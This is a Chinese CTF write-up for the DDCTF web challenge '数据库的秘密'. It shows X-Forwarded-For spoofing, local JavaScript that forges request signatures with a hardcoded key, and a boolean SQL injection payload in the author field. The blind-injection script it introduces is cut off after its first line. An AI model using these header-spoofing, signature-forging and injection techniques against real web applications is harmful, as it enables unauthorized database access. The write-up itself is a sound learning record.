抱着学习的态度去打DDCTF,在朋友们帮助下收获很多,这里先感谢朋友
Web 数据库的秘密
这一步比较简单,抓包在消息头headers构造:1
X-Forwarded-For: 123.232.23.245
第二步如图,这里有几个注意点
- 第一,这里的time是时间戳,抓包后一段时间后会失效,与sig同步
- 第二,sig采用了math.js中的sha1算法,每一步骤有不同的校验值(第二关查看源代码)
- 第三,每一次运行都要提交 X-Forwarded-For: 123.232.23.245,否则回到原点
下面讲讲具体操作,不放图了,因为抓包频繁贼麻烦
- 复制main.js,math.js,index.php在本地搭建,保证有与time(时间戳)同步的sig校验值
- 下面放出生成sig的php文件(太长,就是math.js文件+如下(main.js修改))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28<script type="text/javascript">
function signGenerate(obj, key) {
var str0 = '';
for (i in obj) {
if (i != 'sign') {
str1 = '';
str1 = i + '=' + obj[i];
str0 += str1
}
}
return hex_math_enc(str0 + key)
};
var obj = {
id: '',
title: '',
author: 'admin\' and 1#', //no可以返回数据
//author: 'admin\' and 0#', //不返回数据
time: '1524147898' //改这里的time
};
var key="\141\144\162\145\146\153\146\167\145\157\144\146\163\144\160\151\162\165";
</script>
<body>
</body>
</html>
每一次抓包的时候记得把抓到的time值传给php生成sig后,再复制sig值传给抓包.
最后测试注入点在author上,语句如下:
1 | author: 'admin\' and 1#', //可以返回数据 |
多次操作后,发现>,union等等过滤了,if可以用,写个脚本.(这里是python,一个学长大佬用的是js在控制台也得到flag,在下不会js学不来学不来)
1 | import time |